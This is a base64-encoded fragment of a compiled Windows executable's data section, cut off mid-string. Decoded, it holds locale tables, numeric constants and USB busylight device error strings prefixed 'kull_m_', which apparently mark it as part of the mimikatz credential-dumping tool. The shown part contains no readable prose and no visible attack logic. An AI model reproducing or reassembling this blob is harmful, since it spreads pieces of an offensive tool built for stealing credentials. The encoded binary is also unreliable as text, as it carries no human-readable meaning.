AEAAAAbAAAAAAAAADicBIABAAAAmgAAAAAAAABInASAAQAAAF0AAAAAAAAAuHoEgAEAAAAzAAAAAAAAAFicBIABAAAAegAAAAAAAAAgewSAAQAAAEAAAAAAAAAAaJwEgAEAAACKAAAAAAAAAOB6BIABAAAAOAAAAAAAAAB4nASAAQAAAIAAAAAAAAAA6HoEgAEAAAA5AAAAAAAAAIicBIABAAAAgQAAAAAAAAAQegSAAQAAABwAAAAAAAAAmJwEgAEAAABeAAAAAAAAAKicBIABAAAAbgAAAAAAAAAYegSAAQAAAB0AAAAAAAAAuJwEgAEAAABfAAAAAAAAAMh6BIABAAAANQAAAAAAAADInASAAQAAAHwAAAAAAAAA6GoEgAEAAAAgAAAAAAAAANicBIABAAAAYgAAAAAAAAAgegSAAQAAAB4AAAAAAAAA6JwEgAEAAABgAAAAAAAAAMB6BIABAAAANAAAAAAAAAD4nASAAQAAAJ4AAAAAAAAAEJ0EgAEAAAB7AAAAAAAAAFh6BIABAAAAJwAAAAAAAAAonQSAAQAAAGkAAAAAAAAAOJ0EgAEAAABvAAAAAAAAAEidBIABAAAAAwAAAAAAAABYnQSAAQAAAOIAAAAAAAAAaJ0EgAEAAACQAAAAAAAAAHidBIABAAAAoQAAAAAAAACInQSAAQAAALIAAAAAAAAAmJ0EgAEAAACqAAAAAAAAAKidBIABAAAARgAAAAAAAAC4nQSAAQAAAHAAAAAAAAAAYQBmAC0AegBhAAAAAAAAAGEAcgAtAGEAZQAAAAAAAABhAHIALQBiAGgAAAAAAAAAYQByAC0AZAB6AAAAAAAAAGEAcgAtAGUAZwAAAAAAAABhAHIALQBpAHEAAAAAAAAAYQByAC0AagBvAAAAAAAAAGEAcgAtAGsAdwAAAAAAAABhAHIALQBsAGIAAAAAAAAAYQByAC0AbAB5AAAAAAAAAGEAcgAtAG0AYQAAAAAAAABhAHIALQBvAG0AAAAAAAAAYQByAC0AcQBhAAAAAAAAAGEAcgAtAHMAYQAAAAAAAABhAHIALQBzAHkAAAAAAAAAYQByAC0AdABuAAAAAAAAAGEAcgAtAHkAZQAAAAAAAABhAHoALQBhAHoALQBjAHkAcgBsAAAAAABhAHoALQBhAHoALQBsAGEAdABuAAAAAABiAGUALQBiAHkAAAAAAAAAYgBnAC0AYgBnAAAAAAAAAGIAbgAtAGkAbgAAAAAAAABiAHMALQBiAGEALQBsAGEAdABuAAAAAABjAGEALQBlAHMAAAAAAAAAYwBzAC0AYwB6AAAAAAAAAGMAeQAtAGcAYgAAAAAAAABkAGEALQBkAGsAAAAAAAAAZABlAC0AYQB0AAAAAAAAAGQAZQAtAGMAaAAAAAAAAABkAGUALQBkAGUAAAAAAAAAZABlAC0AbABpAAAAAAAAAGQAZQAtAGwAdQAAAAAAAABkAGkAdgAtAG0AdgAAAAAAZQBsAC0AZwByAAAAAAAAAGUAbgAtAGEAdQAAAAAAAABlAG4ALQBiAHoAAAAAAAAAZQBuAC0AYwBhAAAAAAAAAGUAbgAtAGMAYgAAAAAAAABlAG4ALQBnAGIAAAAAAAAAZQBuAC0AaQBlAAAAAAAAAGUAbgAtAGoAbQAAAAAAAABlAG4ALQBuAHoAAAAAAAAAZQBuAC0AcABoAAAAAAAAAGUAbgAtAHQAdAAAAAAAAABlAG4ALQB1AHMAAAAAAAAAZQBuAC0AegBhAAAAAAAAAGUAbgAtAHoAdwAAAAAAAABlAHMALQBhAHIAAAAAAAAAZQBzAC0AYgBvAAAAAAAAAGUAcwAtAGMAbAAAAAAAAABlAHMALQBjAG8AAAAAAAAAZQBzAC0AYwByAAAAAAAAAGUAcwAtAGQAbwAAAAAAAABlAHMALQBlAGMAAAAAAAAAZQBzAC0AZQBzAAAAAAAAAGUAcwAtAGcAdAAAAAAAAABlAHMALQBoAG4AAAAAAAAAZQBzAC0AbQB4AAAAAAAAAGUAcwAtAG4AaQAAAAAAAABlAHMALQBwAGEAAAAAAAAAZQBzAC0AcABlAAAAAAAAAGUAcwAtAHAAcgAAAAAAAABlAHMALQBwAHkAAAAAAAAAZQBzAC0AcwB2AAAAAAAAAGUAcwAtAHUAeQAAAAAAAABlAHMALQB2AGUAAAAAAAAAZQB0AC0AZQBlAAAAAAAAAGUAdQAtAGUAcwAAAAAAAABmAGEALQBpAHIAAAAAAAAAZgBpAC0AZgBpAAAAAAAAAGYAbwAtAGYAbwAAAAAAAABmAHIALQBiAGUAAAAAAAAAZgByAC0AYwBhAAAAAAAAAGYAcgAtAGMAaAAAAAAAAABmAHIALQBmAHIAAAAAAAAAZgByAC0AbAB1AAAAAAAAAGYAcgAtAG0AYwAAAAAAAABnAGwALQBlAHMAAAAAAAAAZwB1AC0AaQBuAAAAAAAAAGgAZQAtAGkAbAAAAAAAAABoAGkALQBpAG4AAAAAAAAAaAByAC0AYgBhAAAAAAAAAGgAcgAtAGgAcgAAAAAAAABoAHUALQBoAHUAAAAAAAAAaAB5AC0AYQBtAAAAAAAAAGkAZAAtAGkAZAAAAAAAAABpAHMALQBpAHMAAAAAAAAAaQB0AC0AYwBoAAAAAAAAAGkAdAAtAGkAdAAAAAAAAABqAGEALQBqAHAAAAAAAAAAawBhAC0AZwBlAAAAAAAAAGsAawAtAGsAegAAAAAAAABrAG4ALQBpAG4AAAAAAAAAawBvAGsALQBpAG4AAAAAAGsAbwAtAGsAcgAAAAAAAABrAHkALQBrAGcAAAAAAAAAbAB0AC0AbAB0AAAAAAAAAGwAdgAtAGwAdgAAAAAAAABtAGkALQBuAHoAAAAAAAAAbQBrAC0AbQBrAAAAAAAAAG0AbAAtAGkAbgAAAAAAAABtAG4ALQBtAG4AAAAAAAAAbQByAC0AaQBuAAAAAAAAAG0AcwAtAGIAbgAAAAAAAABtAHMALQBtAHkAAAAAAAAAbQB0AC0AbQB0AAAAAAAAAG4AYgAtAG4AbwAAAAAAAABuAGwALQBiAGUAAAAAAAAAbgBsAC0AbgBsAAAAAAAAAG4AbgAtAG4AbwAAAAAAAABuAHMALQB6AGEAAAAAAAAAcABhAC0AaQBuAAAAAAAAAHAAbAAtAHAAbAAAAAAAAABwAHQALQBiAHIAAAAAAAAAcAB0AC0AcAB0AAAAAAAAAHEAdQB6AC0AYgBvAAAAAABxAHUAegAtAGUAYwAAAAAAcQB1AHoALQBwAGUAAAAAAHIAbwAtAHIAbwAAAAAAAAByAHUALQByAHUAAAAAAAAAcwBhAC0AaQBuAAAAAAAAAHMAZQAtAGYAaQAAAAAAAABzAGUALQBuAG8AAAAAAAAAcwBlAC0AcwBlAAAAAAAAAHMAawAtAHMAawAAAAAAAABzAGwALQBzAGkAAAAAAAAAcwBtAGEALQBuAG8AAAAAAHMAbQBhAC0AcwBlAAAAAABzAG0AagAtAG4AbwAAAAAAcwBtAGoALQBzAGUAAAAAAHMAbQBuAC0AZgBpAAAAAABzAG0AcwAtAGYAaQAAAAAAcwBxAC0AYQBsAAAAAAAAAHMAcgAtAGIAYQAtAGMAeQByAGwAAAAAAHMAcgAtAGIAYQAtAGwAYQB0AG4AAAAAAHMAcgAtAHMAcAAtAGMAeQByAGwAAAAAAHMAcgAtAHMAcAAtAGwAYQB0AG4AAAAAAHMAdgAtAGYAaQAAAAAAAABzAHYALQBzAGUAAAAAAAAAcwB3AC0AawBlAAAAAAAAAHMAeQByAC0AcwB5AAAAAAB0AGEALQBpAG4AAAAAAAAAdABlAC0AaQBuAAAAAAAAAHQAaAAtAHQAaAAAAAAAAAB0AG4ALQB6AGEAAAAAAAAAdAByAC0AdAByAAAAAAAAAHQAdAAtAHIAdQAAAAAAAAB1AGsALQB1AGEAAAAAAAAAdQByAC0AcABrAAAAAAAAAHUAegAtAHUAegAtAGMAeQByAGwAAAAAAHUAegAtAHUAegAtAGwAYQB0AG4AAAAAAHYAaQAtAHYAbgAAAAAAAAB4AGgALQB6AGEAAAAAAAAAegBoAC0AYwBoAHMAAAAAAHoAaAAtAGMAaAB0AAAAAAB6AGgALQBjAG4AAAAAAAAAegBoAC0AaABrAAAAAAAAAHoAaAAtAG0AbwAAAAAAAAB6AGgALQBzAGcAAAAAAAAAegBoAC0AdAB3AAAAAAAAAHoAdQAtAHoAYQAAAAAAAAAAAAAAAADwPwAAAAAAAPD/AAAAAAAAAAAAAAAAAADwfwAAAAAAAAAAAAAAAAAA+P8AAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAD/AwAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAP///////w8AAAAAAAAAAAAAAAAAAPAPAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAA7lJhV7y9s/AAAAAAAAAAAAAAAAeMvbPwAAAAAAAAAANZVxKDepqD4AAAAAAAAAAAAAAFATRNM/AAAAAAAAAAAlPmLeP+8DPgAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAPA/AAAAAAAAAAAAAAAAAADgPwAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAGA/AAAAAAAAAAAAAAAAAADgPwAAAAAAAAAAVVVVVVVV1T8AAAAAAAAAAAAAAAAAANA/AAAAAAAAAACamZmZmZnJPwAAAAAAAAAAVVVVVVVVxT8AAAAAAAAAAAAAAAAA+I/AAAAAAAAAAAD9BwAAAAAAAAAAAAAAAAAAAAAAAAAAsD8AAAAAAAAAAAAAAAAAAO4/AAAAAAAAAAAAAAAAAADxPwAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAP////////9/AAAAAAAAAADmVFVVVVW1PwAAAAAAAAAA1Ma6mZmZiT8AAAAAAAAAAJ9R8QcjSWI/AAAAAAAAAADw/13INIA8PwAAAAAAAAAAAAAAAP////8AAAAAAAAAAAEAAAACAAAAAwAAAAAAAABDAE8ATgBPAFUAVAAkAAAA////////P0P///////8/wwAAAAAAAAAAAAAAkJ69Wz8AAABw1K9rPwAAAGCVuXQ/AAAAoHaUez8AAACgTTSBPwAAAFAIm4Q/AAAAwHH+hz8AAACAkF6LPwAAAPBqu44/AAAAoIMKkT8AAADgtbWSPwAAAFBPX5Q/AAAAAFMHlj8AAADQw62XPwAAAPCkUpk/AAAAIPn1mj8AAABww5ecPwAAAKAGOJ4/AAAAsMXWnz8AAACgAbqgPwAAACDhh6E/AAAAwAJVoj8AAADAZyGjPwAAAJAR7aM/AAAAgAG4pD8AAADgOIKlPwAAABC5S6Y/AAAAQIMUpz8AAADAmNynPwAAAND6o6g/AAAAwKpqqT8AAADQqTCqPwAAACD59ao/AAAAAJq6qz8AAACQjX6sPwAAABDVQa0/AAAAoHEErj8AAABwZMauPwAAALCuh68/AAAAwCgksD8AAADwJoSwPwAAAJDS47A/AAAAMCxDsT8AAABANKKxPwAAAGDrALI/AAAAEFJfsj8AAADgaL2yPwAAAFAwG7M/AAAA4Kh4sz8AAAAw09WzPwAAAKCvMrQ/AAAA0D6PtD8AAAAggeu0PwAAADB3R7U/AAAAYCGjtT8AAABAgP61PwAAAECUWbY/AAAA8F20tj8AAACw3Q63PwAAAAAUabc/AAAAYAHDtz8AAAAwphy4PwAAAAADdrg/AAAAMBjPuD8AAABA5ie5PwAAAJBtgLk/AAAAoK7YuT8AAADQqTC6PwAAAKBfiLo/AAAAcNDfuj8AAACw/Da7PwAAANDkjbs/AAAAMInkuz8AAABA6jq8PwAAAHAIkbw/AAAAEOTmvD8AAACgfTy9PwAAAIDVkb0/AAAAAOzmvT8AAACgwTu+PwAAALBWkL4/AAAAoKvkvj8AAADAwDi/PwAAAICWjL8/AAAAMC3gvz8AAACgwhnAPwAAAHBPQ8A/AAAAYL1swD8AAACADJbAPwAAAAA9v8A/AAAAEE/owD8AAADwQhHBPwAAAKAYOsE/AAAAgNBiwT8AAACQaovBPwAAABDns8E/AAAAMEbcwT8AAAAQiATCPwAAAOCsLMI/AAAA0LRUwj8AAADwn3zCPwAAAIBupMI/AAAAsCDMwj8AAACQtvPCPwAAAFAwG8M/AAAAII5Cwz8AAAAg0GnDPwAAAID2kMM/AAAAYAG4wz8AAADg8N7DPwAAADDFBcQ/AAAAcH4sxD8AAADQHFPEPwAAAHCgecQ/AAAAcAmgxD8AAAAAWMbEPwAAADCM7MQ/AAAAQKYSxT8AAAAwpjjFPwAAAFCMXsU/AAAAkFiExT8AAABAC6rFPwAAAHCkz8U/AAAAQCT1xT8AAADQihrGPwAAAFDYP8Y/AAAA0Axlxj8AAACAKIrGPwAAAIArr8Y/AAAA4BXUxj8AAADQ5/jGPwAAAHChHcc/AAAA4EJCxz8AAABAzGbHPwAAAKA9i8c/AAAAMJevxz8AAAAQ2dPHPwAAAFAD+Mc/AAAAIBYcyD8AAACQEUDIPwAAAMD1Y8g/AAAA4MKHyD8AAAAAeavIPwAAADAYz8g/AAAAoKDyyD8AAABwEhbJPwAAALBtOck/AAAAgLJcyT8AAAAA4X/JPwAAAFD5osk/AAAAcPvFyT8AAACw5+jJPwAAAPC9C8o/AAAAgH4uyj8AAABgKVHKPwAAAKC+c8o/AAAAcD6Wyj8AAADwqLjKPwAAACD+2so/AAAAMD79yj8AAAAwaR/LPwAAAEB/Qcs/AAAAcIBjyz8AAADwbIXLPwAAALBEp8s/AAAA8AfJyz8AAADAturLPwAAADBRDMw/AAAAUNctzD8AAABQSU/MPwAAAECncMw/AAAAMPGRzD8AAABAJ7PMPwAAAIBJ1Mw/AAAAEFj1zD8AAAAAUxbNPwAAAGA6N80/AAAAYA5YzT8AAAAAz3jNPwAAAHB8mc0/AAAAoBa6zT8AAADQndrNPwAAAPAR+80/AAAAMHMbzj8AAACgwTvOPwAAAFD9W84/AAAAYCZ8zj8AAADgPJzOPwAAAOBAvM4/AAAAgDLczj8AAADQEfzOPwAAAODeG88/AAAA0Jk7zz8AAACgQlvPPwAAAIDZes8/AAAAcF6azz8AAACQ0bnPPwAAAPAy2c8/AAAAoIL4zz8AAABQ4AvQPwAAAKB2G9A/AAAAMAQr0D8AAAAQiTrQPwAAAEAFStA/AAAA4HhZ0D8AAADw42jQPwAAAHBGeNA/AAAAgKCH0D8AAAAQ8pbQPwAAADA7ptA/AAAA8Hu10D8AAABQtMTQPwAAAGDk09A/AAAAMAzj0D8AAADAK/LQPwAAABBDAdE/AAAAQFIQ0T8AAABAWR/RPwAAADBYLtE/AAAAAE890T8AAADQPUzRPwAAAKAkW9E/AAAAcANq0T8AAABQ2njRPwAAAECph9E/AAAAYHCW0T8AAACgL6XRPwAAABDns9E/AAAAwJbC0T8AAACwPtHRPwAAAPDe39E/AAAAcHfu0T8AAABgCP3RPwAAAKCRC9I/AAAAUBMa0j8AAABwjSjSPwAAABAAN9I/AAAAMGtF0j8AAADQzlPSPwAAAAArYtI/AAAA0H9w0j8AAABAzX7SPwAAAGATjdI/AAAAIFKb0j8AAACgianSPwAAAOC5t9I/AAAA4OLF0j8AAACwBNTSPwAAAFAf4tI/AAAAwDLw0j8AAAAgP/7SPwAAAHBEDNM/AAAAsEIa0z8AAADgOSjTPwAAABAqNtM/AAAAUBNE0z8AAAAAAAAAAAAAAAAAAAAAjyCyIrwKsj3UDS4zaQ+xPVfSfugNlc49aW1iO0Tz0z1XPjal6lr0PQu/4TxoQ8Q9EaXGYM2J+T2fLh8gb2L9Pc292riLT+k9FTBC79iIAD6teSumEwQIPsTT7sAXlwU+AknUrXdKrT0OMDfwP3YOPsP2BkfXYuE9FLxNH8wBBj6/5fZR4PPqPevzGh4Legk+xwLAcImjwD1Rx1cAAC4QPg5uze4AWxU+r7UDcCmG3z1tozazuVcQPk/qBkrISxM+rbyhntpDFj4q6ve0p2YdPu/89zjgsvY9iPBwxlTp8z2zyjoJCXIEPqddJ+ePcB0+57lxd57fHz5gBgqnvycIPhS8TR/MARY+W15qEPY3Bj5LYnzxE2oSPjpigM6yPgk+3pQV6dEwFD4xoI8QEGsdPkHyuguchxY+K7ymXgEI/z1sZ8bNPbYpPiyrxLwsAis+RGXdfdAX+T2eNwNXYEAVPmAbepSL0Qw+fql8J2WtFz6pX5/FTYgRPoLQBmDEERc++AgxPC4JLz464SvjxRQXPppPc/2nuyY+g4TgtY/0/T2VC03Hmy8jPhMMeUjoc/k9bljGCLzMHj6YSlL56RUhPrgxMVlAFy8+NThkJYvPGz6A7YsdqF8fPuTZKflNSiQ+lAwi2CCYEj4J4wSTSAsqPv5lpqtWTR8+Y1E2GZAMIT42J1n+eA/4PcocyCWIUhA+anRtfVOV4D1gBgqnvycYPjyTReyosAY+qdv1G/haED4V1VUm+uIXPr/krr/sWQ0+oz9o2i+LHT43Nzr93bgkPgQSrmF+ghM+nw/pSXuMLD4dWZcV8OopPjZ7MW6mqhk+VQZyCVZyLj5UrHr8MxwmPlKiYc8rZik+MCfEEchDGD42y1oLu2QgPqQBJ4QMNAo+1nmPtVWOGj6anV6cIS3pPWr9fw3mYz8+FGNR2Q6bLj4MNWIZkCMpPoFeeDiIbzI+r6arTGpbOz4cdo7caiLwPe0aOjHXSjw+F41zfOhkFT4YZorx7I8zPmZ2d/Wekj0+uKCN8DtIOT4mWKruDt07Pro3AlndxDk+x8rr4OnzGj6sDSeCU841Prq5KlN0Tzk+VIaIlSc0Bz7wS+MLAFoMPoLQBmDEESc++IzttCUAJT6g0vLOi9EuPlR1CgwuKCE+yqdZM/NwDT4lQKgTfn8rPh6JIcNuMDM+UHWLA/jHPz5kHdeMNbA+PnSUhSLIdjo+44beUsYOPT6vWIbgzKQvPp4KwNKihDs+0VvC8rClID6Z9lsiYNY9Pjfwm4UPsQg+4cuQtSOIPj72lh7zERM2PpoPolyHHy4+pbk5SXKVLD7iWD56lQU4PjQDn+om8S8+CVaOWfVTOT5IxFb4b8E2PvRh8g8iyyQ+olM91SDhNT5W8olhf1I6Pg+c1P/8Vjg+2tcogi4MMD7g30SU0BPxPaZZ6g5jECU+EdcyD3guJj7P+BAa2T7tPYXNS35KZSM+Ia2ASXhbBT5kbrHULS8hPgz1OdmtxDc+/IBxYoQXKD5hSeHHYlHqPWNRNhmQDDE+iHahK008Nz6BPengpegqPq8hFvDGsCo+ZlvddIseMD6UVLvsbyAtPgDMT3KLtPA9KeJhCx+DPz6vvAfElxr4Paq3yxxsKD4+kwoiSQtjKD5cLKLBFQv/PUYJHOdFVDU+hW0G+DDmOz45bNnw35klPoGwj7GFzDY+yKgeAG1HND4f0xaeiD83PocqeQ0QVzM+9gFhrnnROz7i9sNWEKMMPvsInGJwKD0+P2fSgDi6Oj6mfSnLMzYsPgLq75k4hCE+5gggncnMOz5Q071EBQA4PuFqYCbCkSs+3yu2Jt96Kj7JboLIT3YYPvBoD+U9Tx8+45V5dcpg9z1HUYDTfmb8PW/fahn2Mzc+a4M+8xC3Lz4TEGS6bog5PhqMr9BoU/s9cSmNG2mMNT77CG0iZZT+PZcAPwZ+WDM+GJ8SAucYNj5UrHr8Mxw2PkpgCISmBz8+IVSU5L80PD4LMEEO8LE4PmMb1oRCQz8+NnQ5XgljOj7eGblWhkI0PqbZsgGSyjY+HJMqOoI4Jz4wkhcOiBE8Pv5SbY3cPTE+F+kiidXuMz5Q3WuEklkpPosnLl9N2w0+xDUGKvGl8T00PCyI8EJGPl5H9qeb7io+5GBKg39LJj4ueUPiQg0pPgFPEwggJ0w+W8/WFi54Sj5IZtp5XFBEPiHNTerUqUw+vNV8Yj19KT4Tqrz5XLEgPt12z2MgWzE+SCeq8+aDKT6U6f/0ZEw/Pg9a6Hy6vkY+uKZO/WmcOz6rpF+DpWorPtHtD3nDzEM+4E9AxEzAKT6d2HV6S3NAPhIW4MQERBs+lEjOwmXFQD7NNdlBFMczPk47a1WSpHI9Q9xBAwn6ID702eMJcI8uPkWKBIv2G0s+Vqn631LuPj69ZeQACWtFPmZ2d/Wekk0+YOI3hqJuSD7wogzxr2VGPnTsSK/9ES8+x9Gkhhu+TD5ldqj+W7AlPh1KGgrCzkE+n5tACl/NQT5wUCbIVjZFPmAiKDXYfjc+0rlAMLwXJD7y73l7745APulX3Dlvx00+V/QMp5METD4MpqXO1oNKPrpXxQ1w1jA+Cr3oEmzJRD4VI+OTGSw9PkKCXxMhxyI+fXTaTT6aJz4rp0Fpn/j8PTEI8QKnSSE+23WBfEutTj4K52P+MGlOPi/u2b4G4UE+khzxgitoLT58pNuI8Qc6PvZywS00+UA+JT5i3j/vAz4AAAAAAAAAAAAAAAAAAABAIOAf4B/g/z/wB/wBf8D/PxL6Aaocof8/IPiBH/iB/z+126CsEGP/P3FCSp5lRP8/tQojRPYl/z8IH3zwwQf/PwKORfjH6f4/wOwBswfM/j/rAbp6gK7+P2e38Ksxkf4/5FCXpRp0/j905QHJOlf+P3Ma3HmROv4/Hh4eHh4e/j8e4AEe4AH+P4qG+OPW5f0/yh2g3AHK/T/bgbl2YK79P4p/HiPykv0/NCy4VLZ3/T+ycnWArFz9Px3UQR3UQf0/Glv8oywn/T90wG6PtQz9P8a/RFxu8vw/C5sDiVbY/D/nywGWbb78P5HhXgWzpPw/Qor7WiaL/D8cx3Ecx3H8P4ZJDdGUWPw/8PjDAY8//D8coC45tSb8P+DAgQMHDvw/i42G7oP1+z/3BpSJK937P3s+iGX9xPs/0LrBFPms+z8j/xgrHpX7P4sz2j1sffs/Be6+4+Jl+z9PG+i0gU77P84G2EpIN/s/2YBsQDYg+z+kItkxSwn7PyivobyG8vo/XpCUf+jb+j8bcMUacMX6P/3rhy8dr/o/vmNqYO+Y+j9Z4TBR5oL6P20a0KYBbfo/SopoB0FX+j8apEEapEH6P6AcxYcqLPo/Akt6+dMW+j8aoAEaoAH6P9kzEJWO7Pk/LWhrF5/X+T8CoeRO0cL5P9oQVeokrvk/mpmZmZmZ+T//wI4NL4X5P3K4DPjkcPk/rnfjC7tc+T/g6db8sEj5P+Ysm3/GNPk/KeLQSfsg+T/VkAESTw35P/oYnI/B+fg/PzfxelLm+D/TGDCNAdP4Pzr/YoDOv/g/qvNrD7ms+D+ciQH2wJn4P0qwq/Dlhvg/uZLAvCd0+D8YhmEYhmH4PxQGeMIAT/g/3b6yepc8+D+gpIIBSir4PxgYGBgYGPg/BhhggAEG+D9AfwH9BfT3Px1PWlEl4vc/9AV9QV/Q9z98AS6Ss773P8Ps4Agirfc/izm2a6qb9z/IpHiBTIr3Pw3GmhEIefc/sak05Nxn9z9tdQHCylb3P0YXXXTRRfc/jf5BxfA09z+83kZ/KCT3Pwl8nG14E/c/cIELXOAC9z8XYPIWYPL2P8c3Q2v34fY/YciBJqbR9j8XbMEWbMH2Pz0aowpJsfY/kHJT0Tyh9j/A0Ig6R5H2PxdogRZogfY/GmcBNp9x9j/5IlFq7GH2P6NKO4VPUvY/ZCELWchC9j/ewIq4VjP2P0BiAXf6I/Y/lK4xaLMU9j8GFlhggQX2P/wtKTRk9vU/5xXQuFvn9T+l4uzDZ9j1P1cQkyuIyfU/kfpHxry69T/AWgFrBaz1P6rMI/FhnfU/7ViBMNKO9T9gBVgBVoD1PzprUDztcfU/4lJ8updj9T9VVVVVVVX1P/6Cu+YlR/U/6w/0SAk59T9LBahW/yr1PxX44uoHHfU/xcQR4SIP9T8VUAEVUAH1P5tM3WKP8/Q/OQUvp+Dl9D9MLNy+Q9j0P26vJYe4yvQ/4Y+m3T699D9bv1Kg1q/0P0oBdq1/ovQ/Z9Cy4zmV9D+ASAEiBYj0P3sUrkfhevQ/ZmBZNM5t9D+az/XHy2D0P8p2x+LZU/Q/+9liZfhG9D9N7qswJzr0P4cf1SVmLfQ/UVleJrUg9D8UFBQUFBT0P2ZlDtGCB/Q/+xOwPwH78z8Hr6VCj+7zPwKp5Lws4vM/xnWqkdnV8z/nq3uklcnzP1UpI9lgvfM/FDuxEzux8z8iyHo4JKXzP2N/GCwcmfM/jghm0yKN8z8UOIETOIHzP+5FydFbdfM/SAfe841p8z/4Kp9fzl3zP8F4K/scUvM/RhPgrHlG8z+yvFdb5DrzP/odau1cL/M/vxArSuMj8z+26+lYdxjzP5DRMAEZDfM/YALEKsgB8z9oL6G9hPbyP0vR/qFO6/I/l4BLwCXg8j+gUC0BCtXyP6AsgU37yfI/ETdajvm+8j9AKwGtBLTyPwXB85IcqfI/nhLkKUGe8j+lBLhbcpPyPxOwiBKwiPI/Tc6hOPp98j81J4G4UHPyPycB1nyzaPI/8ZKAcCJe8j+yd5F+nVPyP5IkSZIkSfI/W2AXl7c+8j/fvJp4VjTyPyoSoCIBKvI/ePshgbcf8j/mVUiAeRXyP9nAZwxHC/I/EiABEiAB8j9wH8F9BPfxP0y4fzz07PE/dLg/O+/i8T+9Si5n9djxPx2Boq0Gz/E/WeAc/CLF8T8p7UZASrvxP+O68md8sfE/lnsaYbmn8T+eEeAZAZ7xP5yijIBTlPE/2yuQg7CK8T8SGIERGIHxP4TWGxmKd/E/eXNCiQZu8T8BMvxQjWTxPw0ndV8eW/E/ydX9o7lR8T87zQoOX0jxPyRHNI0OP/E/Ecg1Ecg18T+swO2JiyzxPzMwXedYI/E/JkinGTAa8T8RERERERHxP4AQAb77B/E/EfD+EPD+8D+iJbP67fXwP5Cc5mv17PA/EWCCVQbk8D+WRo+oINvwPzqeNVZE0vA/O9q8T3HJ8D9xQYuGp8DwP8idJezmt/A/tewuci+v8D+nEGgKgabwP2CDr6bbnfA/VAkBOT+V8D/iZXWzq4zwP4QQQgghhPA/4uq4KZ978D/G90cKJnPwP/sSeZy1avA//Knx0k1i8D+GdXKg7lnwPwQ01/eXUfA/xWQWzElJ8D8QBEEQBEHwP/xHgrfGOPA/Gl4ftZEw8D/pKXf8ZCjwPwgEAoFAIPA/N3pRNiQY8D8QEBAQEBDwP4AAAQIECPA/AAAAAAAA8D8AAAAAAAAAAGxvZzEwAAAAELMHgAEAAACwsweAAQAAACUwNGh1JTAyaHUlMDJodSUwMmh1JTAyaHUlMDJodVoAAAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAHcAaQB0AGgAIABiAG8AbwB0AGwAbwBhAGQAZQByACkAAAAAAEIAdQBzAHkAbABpAGcAaAB0ACAAVQBDACAAbQBvAGQAZQBsAAAAAABrAHUAYQBuAGQAbwBCAE8AWAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAE8AbQBlAGcAYQAgAG0AbwBkAGUAbAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAE0AaQBjAHIAbwBjAGgAaQBwACAASQBkACkAAABGAHUAagBpAHQAcwB1ACAATQBNAE0AMgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABIAGkAZABQAF8ARwBlAHQAQwBhAHAAcwAgACgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACAAKABoAEsAZQBlAHAAQQBsAGkAdgBlAFQAaAByAGUAYQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEIAdQBzAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABkAGUAdgBpAGMAZQBIAGEAbgBkAGwAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAUwBlAHQAdQBwAEQAaQBHAGUAdABDAGwAYQBzAHMARABlAHYAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABXAHIAaQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAUwBpAHoAZQAgAGkAcwAgAG4AbwB0ACAAdgBhAGwAaQBkAGUAIAAoAHMAaQB6ACAAPQAgACUAdQAsACAAbQBhAHgAIAA9ACAAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAASQBuAHYAYQBsAGkAZAAgAEQAZQB2AGkAYwBlAC8AQgB1AHMAeQAgAEgAYQBuAGQAbABlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfA